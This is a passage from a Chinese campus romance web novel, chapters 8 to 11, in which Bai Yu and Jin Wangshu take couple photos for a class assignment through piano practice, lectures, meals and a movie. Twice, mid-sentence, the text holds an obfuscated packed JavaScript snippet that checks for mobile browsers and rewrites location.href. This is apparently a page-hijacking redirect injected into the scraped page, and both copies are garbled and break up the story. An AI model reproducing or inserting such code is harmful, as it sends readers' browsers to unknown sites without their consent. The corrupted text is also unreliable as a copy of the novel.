“心理课，不过这个老师主要讲的是大学生的恋爱观和异□□流问题，所以结课作业是要找到一位合适的男朋友然后跟他拍十张特别的照片记录，并且在照片后附上感受。” “这是你追我的理由？” 白榆嘴角一抽，“……不完全是。” 主要是那五百，不然她可以换个追她的。 靳望舒忽然动了下手臂，把自己的衣角从她手里扯了出来。 白榆默默收回手，还以为他是不同意，低着头无声地对着他“呸”了一声。 下一秒，头顶传来的声音带着几分无奈，“可以拍。” “真的？！！”白榆紧急撤回一个“呸”。 “嗯，但对待作业不能那么随意，十张照片要好好拍。” 白榆又蔫了下来。 不愧是学霸，水课选修都如此不肯放过。 “怎么好好拍？” “根据老师的要求，应该是十件有意义的事？” “那你有空吗？” 靳望舒沉思片刻，“做作业的话，还是有的。” 白榆盯了一眼旁边敞开门的琴房，忽然眼睛一亮。 “一起练琴算不算？” 靳望舒顺着她的视线，扫过琴房里面那台黑色三角钢琴。 他眸色微暗，“也许，可以算。” 话落，白榆推着靳望舒走进琴房，又转身把琴房的门关上。 东都大学的教学设施一向不错，琴房的空间不算小，旁边就是一大扇木质窗框的落地窗。 窗外枫叶随风晃动，颇有一番意境。 靳望舒径直走到琴凳上坐下，他坐的位置不正，余光瞥着身侧的位置。 直到身后传来一声悠长的弦音。 “……” 忘了，她拉小提琴的。 8. 下坠chapter 白榆先试了试琴音，自从上大学之后，她拉琴的机会是越来越少。 确认自己已经差不多适应，她瞄了一眼坐在钢琴前的靳望舒。 她看他坐的位置不正，只搭着椅子的半边，一副随时打算离开的架势。 白榆把架在肩膀上的琴暂时放下，“不然，我们先拍照吧？” 回应她的是一串清亮的钢琴音阶——doremifasolasilasomisi “……” 别以为弹得快她就没听见，6537——惹我生气。 谁惹他生气了？ 莫名其妙。 短暂的停顿之后，快节奏的音符又继续跳动出优美的旋律。 白榆愣了半晌才识别出靳望舒弹奏的曲子——《GlodenHour》 这首歌白榆只听过几次，唯一记住的一句歌词是那句简短的“Shine.” 她抱着小提琴盯着靳望舒的背影，看着他手指在琴键上飞舞。 原来学霸也不是只会读书。 琴房的窗户并不能打开，但白榆站在窗边，似乎感觉到了拂面而来的阵阵秋风。 目光流转间落在靳望舒线条沉稳利落的侧颜，他微微蹙着眉，抿唇的模样矜贵淡然，动作自如的仿佛琴键对他的手指开了自动巡航。 一曲很快结束。 靳望舒收回手，微微偏头，和侧着身子望向他的白榆对上视线。 后者丝毫没有偷看被发现的尴尬，反而歪着头对他露出一个甜美的笑。 “靳望舒。” “你要和我合奏吗？” 他喉结肉眼可见的滚动了下，“可以。” “要弹什么？” “起风了，你听过吗？我打算在学院元旦晚会上演奏的。” 靳望舒扭过头盯着琴键，“你的意思是，我要在你们学院的元旦晚会上跟你合奏吗？” “是这样，你不愿意吗？” 靳望舒的语气冷冰冰的，“理由。” 白榆没忍住扬了扬眉，他怎么不管做什么都要理由？ “有一个这么帅气又厉害的男朋友跟我一起上台演奏的话，我会觉得很有面子。” 没有比这更加让人满意的马屁了。 可令白榆失望的是，靳望舒没有料想般那样爽快的答应她，而是手指顺着抚弄琴键发出一连串声响后轰然砸下一个怒音。 “再说。” 众所周知，成年人的世界里面。 下次约，以后聊，有机会请吃饭和再说等等表达的意思都一样——没戏。 纯客套话。 白榆当时便没再放在心上，那天她练琴到很晚，靳望舒中途就被一个电话叫走了，直到收拾东西打算离开的时候她才想起，自己忘记拍照片了。 早就跟他说了要先拍。 后来迷路还是齐志虹接她回了宿舍。 路上他一脸愤恨地控诉着靳望舒这个男朋友不够格，“拜托，大晚上学校里面也很危险的好不好？而且琴房又离寝室那么远，万一走回去路上碰见变态怎么办？” “没事啊，”白榆舒服地靠坐在副驾椅背上，“保时捷比小电驴可舒服多了。” 齐志虹没再说什么。 把白榆送回寝室之后他也回了宿舍，一推门只看见杨敬津和江宋坐在一起研究新出的游戏装备性能。 他扫了眼里面的位置，“阿靳呢？” “不知道啊，我今天就中午见了他一次。” 江宋掀了掀眼皮，“不是约会去了吗？” “没有，我刚把甜甜送回去。” “你找他干什么？” 齐志虹才想说什么，身后的宿舍门忽然被推开，靳望舒这会儿才回来。 他下意识看了眼时间——23:30 径直走到里面的床位，靳望舒把单肩挂着的背包取了下来放在一边。 身后忽然传来齐志虹的声音，“阿靳，你去哪儿了？都不等甜甜结束，这么当男朋友可不行啊。” 他自动忽略了前面那个问题，“她还在琴房？” “没，刚迷路，叫我送回去了。” 齐志虹又唠叨了几句，他全都屏蔽没听进去，掏出没电的手机插上充电器后打开微信。 【到宿舍了？】 隔了几分钟，白榆并没回复。 靳望舒皱了皱眉。 【睡着了？】 【抱歉，下午有事。】 【下次再这么晚，给我打电话。】 【我去接你。】 等了几秒那边仍然没回应，他冷脸打下最后两个字，【晚安。】 放下手机，忽然一个抱枕扔过来砸在他后背，齐志虹愤懑讨伐他，“阿靳，你到底有没有在听我说话？” “没有。”靳望舒捡起抱枕又给他丢了回去。 “……” 桌上的手机嗡嗡震动两下，靳望舒瞟过去一眼。 Sweetie：【没睡呢。】 五百：【打算什么时候睡？】 盯着白榆屏幕上跳出的消息，简琳扯着嗓子喊，“甜甜，他问你什么时候睡！” 白榆一回来就窜进了浴室洗澡，刚手机响了好几声就让她们帮忙看一眼，没想到是靳望舒。 她还揉着头上的泡沫，卫生间的玻璃门说话都有回音，“总问我睡没睡觉干什么？” 叮叮，靳望舒收到一条回复—— Sweetie：【也许，除了睡觉之外，我想我们还可以聊点别的（脸红）】 “……” 许仪苏：“他怎么不说话了？” 简琳：“我们这样说太露骨了吗？” 杨静栖：“可我们也没说什么啊。” 杨静栖：“啊，回了回了！” 五百：【明早一起吃饭吗？】 “甜甜！他问你明天早上要不要一起吃早餐！” “什么啊？明天早上没课诶，我不想动。” Sweetie：【或许你能把早餐送到我的被窝吗（眨眼）】 “……” “他又沉默了。” “这是他的被动吗？” “可能是技能冷却吧。” 但这次，靳望舒是真的没再回复。 简琳搓了搓头发，“怎么真不说话了？” 杨静栖催促：“再发一条再发一条。” Sweetie：【人呢？】 五百：【去洗澡。】 “甜甜，他说他去洗澡了！” 白榆想起男寝不是独立卫浴，而是要去外面统一的澡堂，况且现在又这么晚了。 她难得担心一下他，“他一个人去吗？” Sweetie：【要我陪你一起吗（羞涩）】 “……” “这次我觉得有些露骨了。” “谈恋爱不都这样？” “可他俩不是才在一起第一天吗？” “也对。” 简琳反应过来，赶紧编辑一条新消息解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320906|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释。 Sweetie：【我就不进去了，我站门口看着就行（渴望）】 靳望舒收到消息之后眼皮一跳，但这条消息很快就被撤回了。 她又重新发过来一条，【我就不进去了，我站门口等着就行。】 总算说了句正常的。 靳望舒回复，【不用了。】 简琳急得直拍杨静栖的大腿，“我就说要加那个渴望的表情，这样才显得真诚。” 许仪苏无奈扶额，“明显就是被那个渴望吓到了，跟个流氓似的。” “哎哎，疼啊，你拍你自己的。”杨静栖费劲把简琳的手扯开。 “怎么了？吵什么呢？”白榆推开浴室的门，随着一股热气一起走了出来。 “靳望舒他拒绝你了。” “是吗？我看看。” 白榆不紧不慢拿起手机，反复确认着之前发出去的消息。 越看，她越觉得自己的眼皮就像吃了跳跳糖似的跳个没完。 除了睡觉，聊点别的…… 早餐送进被窝…… 陪你去洗澡…… 她就差掐着自己的人中叫救护车了，白榆无力坐在椅子上，“这个撤回的是什么？” “渴望。” “看着。” “？？？” “就是，你把等着换成看着，然后再在后面加一个渴望的表情。” “……” 白榆深吸一口气，一脸苦笑地盯着屏幕。 许仪苏看她的样子都瘆人，“怎么了，甜甜？” “我们发的消息有问题吗？谈恋爱的不都这样说话吗？” “是啊，要说的暧昧一点才有氛围感呢。” “我谢谢你们。” 白榆起身就往浴室走。 “甜甜，你干什么去？” “跳马桶自杀。” “……” 白榆无颜面对靳望舒，她觉得自己最近三天，哦不！七天！都不能再和他说话。 本想等这件事被淡忘再继续跟他聊照片的事情，谁知道第二天一早迷迷糊糊没醒的时候就感觉到有人在摸她。 白榆皱着眉翻身，半梦半醒地嘟囔，“谁啊……我要睡觉……” 手臂扯着被子，却忽然碰到个什么软软的东西烫了她一下。 “啊！”白榆被吓得惊叫起身。 半坐起身子和床下一个站着的陌生女生对视上。 她红透了脸，拼命地弯腰道歉，“不好意思！不好意思！不好意思！” 白榆满脸懵，“你是谁？在干什么？” “真的抱歉！这是我今天在兼职群里面接的单，有人让我帮忙把早餐送进你的被窝里。” “……？” 白榆掀起被子一角，提起塑料袋看见里面装着的豆浆烧饼和鸡蛋。 那女生还在不好意思，“真的不好意思吵醒你，但是他给的太多了，五十呢！” 没等白榆回神，那女生疯狂道歉之后飞奔着逃窜离开了。 “……” 宿舍里面一片安静，其余三个人还躺在床上安安稳稳的装睡。 白榆冷笑一声，忽然拿出手机给靳望舒发消息。 【明天还送吗？】 【收到了？】 【明天还送吗？？？？】 【你想吃的话送。】 【想吃。】 【那送。】 【五十v我，我自会下楼取。】 【……】 9. 下坠chapter 新发的消息把昨晚的顶了上去，白榆一下子清空了那种尴尬的感觉。 简琳下床洗漱的时候忽然想起件事，“我今天要去老师办公室，你要不要先把照片给我帮你换一下。” “可我现在还没有照片呢。” 白榆也下了床，坐在椅子上喝着经过被窝保温的豆浆。 “劝你最好有，这是我最后一次去办公室帮忙了，而且耽误的越久谁知道老师会不会翻出之前的照片来看。” “！” 白榆立马打起精神看了眼之前保存的靳望舒的课表。 他今天的课表满满登登，从早上八点开始到晚上六点，没有丁点空闲的时间。 把人约出来的计划暂时泡汤，她又仔细看了眼他今天要上的课。 下午第四节白榆没课，而靳望舒那节是门大课，她想要混进去拍张照片再全身而退应该不会太难。 打定主意，白榆果断给齐志虹发了条消息。 【第四节课能带着靳望舒坐后门吗？】 齐志虹：【？】 白榆：【哥哥，求求你了（双手合十）】 齐志虹：【好说。】 “琳琳，你大概在办公室待到几点啊？” “不清楚，可能到六点吧，到时候你弄到照片直接发我就行，我用办公室打印机帮你打印。” 白榆感激的像是遇到了活神仙，“好琳琳，没有你我可怎么活！” 简琳“诶”了一声，“昨天帮你回消息的时候你可不是这么说的。” 没等白榆想起是哪回事儿，简琳已经开口提醒她。 “你说早知道我那么会说话还不如一头撞死。” “……” “这个……对了琳琳，我不是还欠你两杯奶茶呢吗？等会儿我们就去买，想喝什么随便挑，正好我这儿还有打折证。” 白榆说着就开始翻找自己的背包，奈何半天也没看见那个鲜红的情侣证。 “完了。” 她忽然想起那天自己貌似根本没有碰过那张证，应该是被靳望舒带走了。 好歹也算她争取来的，怎么说也要让她有点使用的权利。 白榆不肯吃这个亏，连忙给他发消息，【打折证在你那不？】 【什么证，没印象。】 【怎么会没印象呢？就是那天我们在餐厅，然后我问你要不要跟我在一起，然后你答应了我们就能打折了。】 【那好像不叫打折证。】 【情侣证。】白榆愤愤纠正。 【在我这儿。】 【我要。】 【中午喝吗？一起？】 【我现在就要喝。】 靳望舒犯了难，【我在上课，不能给你送过去。】 白榆感觉到一阵失望，看来这次只能暂时不使用优惠了。 片刻，手机又响了声。 【去拿吧，让人跟店员说了，用几次跟她们讲清楚就行。】 【前提是】 白榆很讨厌对方聊天的时候把话说一半。 【前提是什么？】 【你得跟店员说，用得是白榆跟靳望舒的情侣证。】 【……】 确定要当着别人的面说这种令人尴尬的话吗？ 像是领结婚证还要宣读誓词。 我，白榆。 他，靳望舒。 我们自愿结为情侣，所以—— 这杯奶茶能打折吗？ …… 白榆路上步速放得极缓，好像走得慢就不用面对这一尴尬场面似的。 简琳好心提醒，“还有半小时学生下课。” 她的步伐瞬间加快。 幸而她们去的时候人并不多，白榆别扭着对着店员小声说出那几个令人尴尬的字眼，“两杯奶茶，用白榆和靳望舒的情侣证，打五折。” 店员侧耳听着，清楚她说了什么之后机械转身对着其他店员大喊，“白榆和靳望舒的情侣证，奶茶两杯。” 她说完才意识到没有单纯的“奶茶”这个品类，又转而询问，“两杯喝什么？” “……” 白榆让简琳随便挑，之后默默走到角落里面自己蹲了好一会儿才缓过神来。 她也，讲得，太大声了一点。 简琳取了奶茶回来蹲下安慰她，“没事儿，她也没喊多大声。” “真的吗？” “真的，我刚刚看过去，也就十个窗口的阿姨看过来而已。” “……” 可似乎这排一共也才十一个窗口。 “没事，顶多有些社死，跟靳望舒在一起也不是什么很丢人的事。” “最多就是让别人觉得你有些装，毕竟他们也不知道情侣证能打折。” “只会觉得你谈到了个帅哥就到处说。” “……” 簌簌簌——白榆感觉三根箭逐一插进她的心脏，“简琳。” “啊？” 想开口说她两句坏话，又想起下午还托了她换照片，“……算了。” 下午第一节课下课，齐志虹立刻给她发来一张图片，是用书占着后门几个位置的照片。 【给你也占一个？】 【抱拳.jpg】 【好说，带杯咖啡。】 白榆咬咬牙，【喝什么？】 【都行，晚上估计还要做实验，来点提神的。】 有求于人，白榆认命去咖啡店又买了两杯咖啡。 坐下等着的时候无聊看了眼账单，今天的支出已经超过八十。 而且，这还是近十天里面花费最少的一天。 白榆找到教室的时候大概刚刚开始上课十分钟，老师在前面滔滔不绝讲着PPT，前三排没有一个人坐，后三排一个空位都没。 偷溜到后门一眼盯住那个留给自己的空位，白榆不敢耽误就坐下。 谁知老师毫不客气的扫过这边，“那名迟到的同学，你回答一下这个问题吧。” 白榆瞬间紧张，她僵硬起立，手揪着一旁靳望舒的袖子求助。 情急之下还能看眼黑板上的内容，是思政课，也许她也能答得上老师的问题。 老师笑眯眯的模样很是慈祥，他友好地问，“我叫什么名字啊？” “……” 白榆低头瞟了眼身边的靳望舒，他低着头不说话。 似乎没想帮她。 无奈，她只能硬着头皮小声乱编，“张……张三……” “对了哈，坐吧。” “？？？” 白榆呆愣愣坐下，这会儿才注意到刚才靳望舒推过来的那张白纸。 上面赫然写着三个大字——章之山。 “……” 好容易舒了一口气，又听见后座齐志虹的声音幽幽地传过来，“你完了。” “他下次还找你。” “为什么？” 靳望舒替他回答，“也许是因为你是这个班为数不多的女生了。” “不多？能有多少？” “唯一一个。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320907|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……” 白榆下意识四周看了一圈，大片的黑白灰穿搭中偶尔能看见一两个卡其色和格子衫，还当真没有一个女生。 她吞了吞口水，暂时没管这回事，把拎着的咖啡拿出一杯转头给了齐志虹。 又把另外一杯拿给靳望舒。 他很明显有些意外，“给我的？” “嗯啊。”白榆一边把装着咖啡的袋子折好一边应了他一声。 她举起手机摆在桌上打开相机讨好道，“我们能先拍张照片吗？今天这件有意义的事情就叫做陪你上课。” 尽管能看出白榆的意图明显，但看在咖啡的面子上，靳望舒还是扭头看了眼镜头的方向。 为了表现亲昵，她特意倾着身子依靠在他那边，歪着脑袋对着手机比了个耶。 松软的发蹭到靳望舒的脸颊，一股淡淡的桂花甜味儿萦绕在鼻息，从他的角度能看见弧度明显的半边圆嘟嘟小脸，冰冷的表情稍有放松，白榆没两秒就挪开了身子坐正。 她拿起手机保存照片发给简琳，身旁的人拿着手机不经意地瞥过来，“也发我一份。” “噢，好。” 白榆把照片发过去之后探出一条腿到书桌外，她立刻想走却被靳望舒叫住。 “白榆。” 她愣了下，少有人这么叫她。 况且，还是用这么冷冰冰的语气。 “干什么？” “就走了？” “不然呢？” “不再拍张等你下课？” “！” 好主意！ 白榆紧急撤回一条打算出走的腿。 等下课的滋味并不好受，白榆打开一个新下载的种田游戏玩了一会儿。 余光几次瞟向一旁，靳望舒也没听课，他桌上摆着一本应用物理学的书，上面的符号白榆看了就头疼。 好容易等到小课间的铃声响了，白榆立马退出游戏打开相机。 “拍……” “我去个厕所。” 靳望舒打断她，他已经起来，白榆只能给他让了位置出去。 齐志虹瞄着靳望舒离开，他连忙到前面一排推着白榆往里面坐了个位置。 “你干什么？” 他似乎有些不高兴，“阿靳也问你要咖啡了？” “没有啊。” 齐志虹的态度缓和了些，“那你竟然特意给他带，这不像你。” “谁特意给他带了？”白榆掏出口袋里面那个叠好的帆布袋，“刚好和我喜欢的动漫联名，买两杯才送周边。” “……” 齐志虹顺手拿过桌上的咖啡杯看了眼上面的联名图案。 旁边睡了一堂课的杨敬津一睁眼就听见这句话。 下一秒靳望舒手机上就收到一条消息，【给你带的咖啡只是为了凑单买周边。】 杨敬津因为那十杯奶茶最近都十分不开心，稍微找到一点事就要呛靳望舒两句。 谁知道对方竟然不上钩，【没事，起码是给我不是给你。】 兄弟，有这种心态你做什么都会成功的。 说不过他，杨敬津扣上手机继续埋头睡。 白榆干等也等不到靳望舒回来，她没想过自己要在这儿待这么久。 “好渴，你的咖啡给我喝一口。” 说着，白榆顺手抢过齐志虹手里的咖啡猛灌了一口。 下一秒右后方传来漫不经心的一声提醒—— “那杯是我的。” 白榆的脊背僵硬一瞬。 10. 下坠chapter 白榆手拿着咖啡缓缓扭过头，咕咚一声把刚喝进嘴里的那口拿铁咽下。 她眨巴了两下眼睛默默转身，目光落在齐志虹身上的时候他适时起身去找靳望舒换回了位置。 感觉到身旁的位置换了个人，白榆用平静的表情极力掩饰着自己的慌张。 她讪讪把那杯咖啡放回桌上，忍不住小声嘟囔，“什么时候回来的……” “就刚刚。” “我不是故意的。” 白榆干巴巴解释，又一边打量靳望舒的表情。 有幸听齐志虹讲起，这家伙稍微有些洁癖。 靳望舒没说什么，只是“嗯”了一声。 白榆看不出他的情绪，干脆认栽，“回头我再给你买杯新的吧。” “回头我再给你买杯新的吧。” “？”白榆还以为他只喜欢在线上学人说话。 “这杯我还想喝。”靳望舒淡淡解释一句。 白榆眼底闪过一抹惊讶，却还是轻轻把咖啡杯往他的方向推了推，之后又不解地问，“为什么？” “因为这杯是你买给我的。” 他表情难得松泛了些，带着些许的笑意，“不是吗？” 那倒，也是。 不过他在笑什么？ 笑话她送出去的东西还要往回要？ 但她明明是在担心他的洁癖，简直是好心当成驴肝肺。 白榆定定看着靳望舒拿过那杯咖啡，毫不避讳的喝了一口。 他放下杯子，喉结滚动着，淡淡瞥过来一眼，“看什么？” 白榆着急举起手机，“我们是不是可以拍……” 铃——铃铃—— “……” 靳望舒自然耸了下肩，“等下课吧。” 白榆剩下的一节课有半节课都在后悔自己喝了那杯咖啡，不然也许那几秒钟足够拍完照片然后溜走。 并且经过刚才的位置转变，她现在很不幸地被靳望舒圈在了里面，想偷溜出去放风等他都不行。 前面老师的讲课声实在催眠，白榆玩着玩着手机就开始犯困。 靳望舒做完那本书的课后习题，转头就看见身边的女孩已经趴在桌上睡熟。 似乎这会儿他才有机会仔细打量一下她的模样。 偏灰的发色更显得她皮肤清透白皙，脸颊还总是带着淡淡的红，阖着双眸的模样带着几分倦意，高挺的鼻梁也丝毫不影响她整个人透出来的那种可爱气息。 之前听齐志虹提过几次，她的发色是天生的，应该是有一些混血的基因。 靳望舒小心抬手，帮她把脸上挂着的发丝拨到一边。 指尖堪堪擦过她的脸颊，白榆忽然睁了眼。 淡灰粽的眼瞳中映着他些许僵硬的模样，靳望舒收回手扭过头。 欲盖弥彰地，“弄醒你了？” 白榆摇摇头，“我没睡着。” “哦。” “你刚刚在干什么？” 白榆饶有兴致地撑着脸颊望着他。 “帮你……” “挠痒痒。” “……” 他最好是。 白榆坐起来又玩了十分钟手机才下课，她伸了个懒腰，莫名有种自己白上了两节课的感觉。 早知道应该问问有没有人需要代课。 噢好像也不行。 这个班没女生。 靳望舒把一些和这节课完全无关的书收进背包，“走吧，请你吃晚饭。” 白榆眼睛亮了一瞬，“真的假的？” “假的。” “……” “真的。” “！” 齐志虹拍了拍她的肩膀之后就拉着其他两个室友跑了个没影，白榆和靳望舒并排走下楼梯。 他忽然扭头问她，“吃什么？” 白榆挠挠头，“水煮鱼片？” “行。” 下课时候的人乌泱泱的，白榆直到走出教学楼才掏出手机。 靳望舒的步子大，走的稍微快一些。 白榆抬手揪住他袖口的衣料，后者疑惑回头的时候，她刚好举起手机对着两人按下快门。 照片上的她笑得甜美，白榆忍不住端详了好一阵。 催促她的声音从身边传来，“快点走，一会儿占不到位置了。” “哎呀，别着急嘛，都最后一节课了。” 白榆扯着靳望舒袖口的手还没松开，感觉到他的步伐放缓些许，紧接着忽然把手往上抽了下拉上了她的手。 一股温热的触感贴着她的掌心，白榆愣愣抬起脑袋，入目的是他后脑的发旋修长的脖颈和半搭在肩上的黑色背包。 靳望舒拉着她，脚步愈发快，“我晚上还有实验课。” 噢，好像，听齐志虹说起过。 白榆收起手机，笑着反握住他的手，快步跳了两下往前。 “那快点走吧！” 女孩儿一蹦一跳地往前走，扯着男生的手都跟着一晃一晃的，此刻正值黄昏。 镜头记录下还有他们都没能注意到的，男生烧红的耳廓。 “啧。”简琳弹了下手里的照片，模样颇为得意，“好看吧？” “那是人家两个长得好看。” 许仪苏在一旁幽幽说着。 “我们跟踪人家好吗？”杨静栖总觉得心里过意不去。 “怎么叫跟踪呢？明明是刚好路过。” “是是是，还刚好带了新买的拍立得。” “……” 简琳把照片收起来夹在书里，“那怎么办？我不跟进一下进度这次要是输了，可就吃不到火锅了。” “我以为你是不想给他们带早餐才这么积极，原来是太想吃火锅。” “那可是鲜合堂！我还没吃过呢！” “倒也是，今天就能牵手了，快点帮甜甜把照片弄完，应该就离分手不远了吧。” “指日可待。” 白榆同样也在因为自己剩下的几张照片为难。 点完菜她就坐下摆弄自己的相册。 才两张。 这等到结束要猴年马月。 取餐回来后她立马又拿起手机趁着靳望舒不注意拍了张合照。 之后收起手机才发现他又点了跟自己一模一样的菜。 但这次，白榆真的忍不住问一句，“靳望舒，你能吃辣吗？” “还行。” 她指了指自己面前的水煮鱼片，“友情提示，这个，特别特别特别辣。” “哦。”他似乎不甚在意。 白榆撇撇嘴拿起筷子，爱听不听。 “我去给你点杯奶茶？”靳望舒忽然问。 “？” “不是说辣？” “……”还挺贴心。 没等白榆喊他，靳望舒已经起身去了奶茶店。 水煮鱼片和能使用打折的奶茶店不在同一个食堂，他只就近去买了一杯。 白榆见他并没给自己买，“这个很辣的？你自己不要买一杯喝吗？” “不用。” “晚上别喝咖啡了，用奶茶补给你。” 白榆稍微一顿，竟是没想到上课那会的话，他现在还记得。 靳望舒的确很能吃辣，白榆喝了半杯奶茶的时候，看见他吃了一大半眉头都没皱一下。 又 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【前者有点想去，后者非常不想去。】 【请说出你的理由。】 【一个把我当人看，一个把我当工具。】 【那我肯定是非常，无敌，超级，想要跟靳望舒去看电影！】 【可以。】 【然后，我们可以拍张照片吗？】 【……？】 或许，你能有个新的身份呢。 ——工具人。 靳望舒答应过的事情很少反悔，白榆在一堆影片里面挑挑选选了一个最近的热门电影。 是个有关亲情的喜剧，看起来剧情不错。 学校附近就有影院，下楼是商场，不管做什么都很方便。 白榆站在影院门口，默默计划着自己今天要拍下的几张照片。 看完电影，再下楼做个陶艺，之后再去一趟超市。 三张，多了怕靳望舒不愿意。 靳望舒是从身后忽然靠过来的，白榆猛然转身撞到他身上还被吓了一跳。 “你怎么来了都不说话的？” “在想应该说什么。” “……” 电影快要开场，白榆拉着他想要去检票，只是走了几步他忽然顿了下。 疑惑转头就听见他问，“爆米花吃不吃？” “吃！” 不吃白不吃。 靳望舒当真大方，白榆也不客气。 两人的位置在中间偏后一点，这场电影的人还不少，差不多能坐满了一半。 白榆坐下之后拿了一个爆米花丢到嘴里，“看来这部片子应该不错。” “怎么说？” “上座率高啊。” 说着，她似乎注意到什么，“靳望舒，你不会之前都没看过电影吧？” 小说上的学霸都是这样的，除了学习之外什么都不在意，一点娱乐活动都没有。 “我想你有必要搞清楚两点。” 白榆闻言一副认真受教的表情。 “第一，现在是二十一世纪。” “第二，我不是山顶洞人。” 白榆撇了撇嘴，“其实你完全不用说那么多话的。” “只要说‘看过’就行了。” 说着，她甚至反客为主，“靳望舒。” “这一点都不像你。” 11. 下坠chapter 白榆打量着靳望舒的表情，以为起码能在他脸上看见些许被调侃的窘迫。 意料之外的，他维持着那副淡然的模样。 白榆觉得无趣扭过头，身旁的人忽然凑过来，在她耳边轻声问了句。 “同学，你很了解我吗？” 这个…… “怎么不算呢？” 靳望舒挑了下眉，一副洗耳恭听的模样。 “齐志虹跟我提起你不少次。” “他说我什么了？” 电影放映的声音忽然放大，此刻已经到了电影开场的时间。 白榆拿出手机给他发消息。 【他说你们宿舍很省电，有你在宿舍营造低气压他们根本不回去。】 【？】 这算坏话吗？ 白榆偷瞄着靳望舒的表情，皱起的眉头预示着主人的不爽情绪。 握着的手机震动了下，白榆立刻低头。 【你指的是把所有作业丢给我一个人做，然后他们三个组团去网吧开黑？】 “……” 说话的确是门艺术。 【那杨敬津还说过他给你发消息你根本不回他呢。】 【你指的是他让我帮忙修改论文，然后隔三分钟问一次改好没吗？】 “……” 【那……齐志虹还说你总是一个人吃饭，他们都不敢跟你一起吃。】 说到这儿，白榆已经逐渐没了底气。 果然。 【你指的是他们三个床都不下，让我吃好了给他们带三份回去？】 “……”白榆抿着唇。 【你们宿舍都是坏人。】 【所以你那么怕我，是因为这些？】 怕……谁怕他了…… 【我没有怕你啊（可爱）】 【多少次了，】 白榆不解，盯着手机上那条说了一半的话，半天也没等来后半句。 直到耳边的皮肤被一股热气弄到刺痒，为了让她听清，这次靳望舒凑得更近。 “一看见我就躲。” 白榆浑身一个激灵，表情瞬间心虚了起来。 原来，他发现了。 “看，看电影了。” 白榆干巴巴转移话题。 甜甜大王是不会轻易承认自己害怕一个小小帅哥的。 所幸，靳望舒重新坐直身子看向前方屏幕。 白榆抽空给齐志虹发了条消息，【最近睁着眼睡觉。】 【？】 【做什么亏心事了你心里知道。】 【哥哥坦坦荡荡。】 【我给靳望舒说了，你之前说他的话。】 【……】 【怎么不说话了？】 【在看眼皮支架。】 白榆就知道，这家伙心虚的很。 她收起手机重新看向电影屏幕，电影剧情正演到搞笑的部分，慢慢她就忘了刚才这回事。 很快时间过半，一旁的爆米花桶也很快见了底。 白榆不知道第几次伸手过去，这次却触到一个带着丝丝凉意的东西。 奇怪扭头，靳望舒好整以暇地坐在那儿看着她。 一旁的爆米花桶不知道什么时候已经被拿走，她的手指勾着他的指节，还不知好歹地在他掌心挠了两下。 白榆下意识想抽回手，却被他提前预判之后抓住。 眼神求饶片刻，想让他别跟自己计较。 虽然那些话都已经被他澄清，但白榆仍然不觉得他是什么很和善的人。 靳望舒没为难她，他抓着她的手，报复似的也在她掌心挠了两下才松开。 白榆抽回手，小心护在胸前，然后乖乖抬起头继续看影片。 后半场很顺利的结束，没再发生任何奇怪的事。 快要散场的时候，头顶的大灯亮了起来，白榆拿起手机对着镜头比耶，把一旁低头看手机的靳望舒照了进去。 出去的时候白榆去了个厕所，靳望舒站在门口倚着墙等她。 手机弹出几条消息是齐志虹来求饶的。 消息还挺灵通。 随便给他回了两句，又看见江宋给他发了消息。 他很少跟他联系。 靳望舒点开看了眼，消息的内容也很奇怪。 【你这个恋爱最少能谈一个月吗？】 【？】 【这样吧，能的话到时候我给你五千。】 知道江宋不在乎这点钱，但这个数对他来说也不算少了。 【理由。】 白榆正好出来，“走吧！” 靳望舒按灭手机屏幕，把手机放进口袋前瞟到屏幕上跳出来的那条新消息—— 【因为，我想让她给我送早餐。】 白榆拉着靳望舒下楼，她没想到他不愿意陪她去做陶艺。 “走吧，走吧，很容易的。” “我今天已经跟你拍过一张照片了。” “那天我们不是也拍了上课和下课吗？怎么今天不行？” “那天你还多拍了一张晚餐。” 白榆没想到他竟然看见了。 “那怎么了嘛！学习不就是一件讲究效率的事情，作业就是要尽快做完。” 用力扯着靳望舒走进电梯按下关门键，他还是满脸抗拒地抬手按了一楼。 “我要回学校，我也有作业没做完。” 白榆抬手就取消了一楼的按键，然后站在按键前挡着。 “别这样嘛，靳望舒同学，等回学校我陪你做作业好不好？” 这次靳望舒的表情有些松动，他看过来，几乎是一字一顿地问。 “你，确，定？” “确定！” “好。” 电梯门正好在三楼打开，靳望舒率先走出去，还回头招呼愣愣呆在那里的白榆。 “不是做陶艺？” “噢。” 白榆连忙跟上，却也忍不住觉得奇怪。 他也，太好哄了一点。 靳望舒走得快，不知道是不是真的还赶着去做什么。 白榆默默在心里把之后超市的行程取消，紧赶慢赶跟上他的脚步。 去核销预约之后店员给他们两个拿来了围裙系上。 “走吧，速战速决。” “急什么？” 靳望舒在白榆身边的位置坐下，他慢慢往拉胚机上丢了一块泥巴，“既然来了就好好做。” “我知道。” 白榆又忘了，他是很有原则的一个人。 工作人员过来教了他们基本的操作方法之后就任由他们自由发挥。 白榆其实做过几次，所以还算熟练。 她捏了一个小花瓶，形状很不错。 把小花瓶放到一边，她看向旁边的靳望舒。 他手指修长，沾着泥巴却也不显脏，顺着手臂往上看去，能看见他眉心微微蹙起，模样颇为认真。 白榆举着脏兮兮的手跑到他身侧仔细端详他的作品。 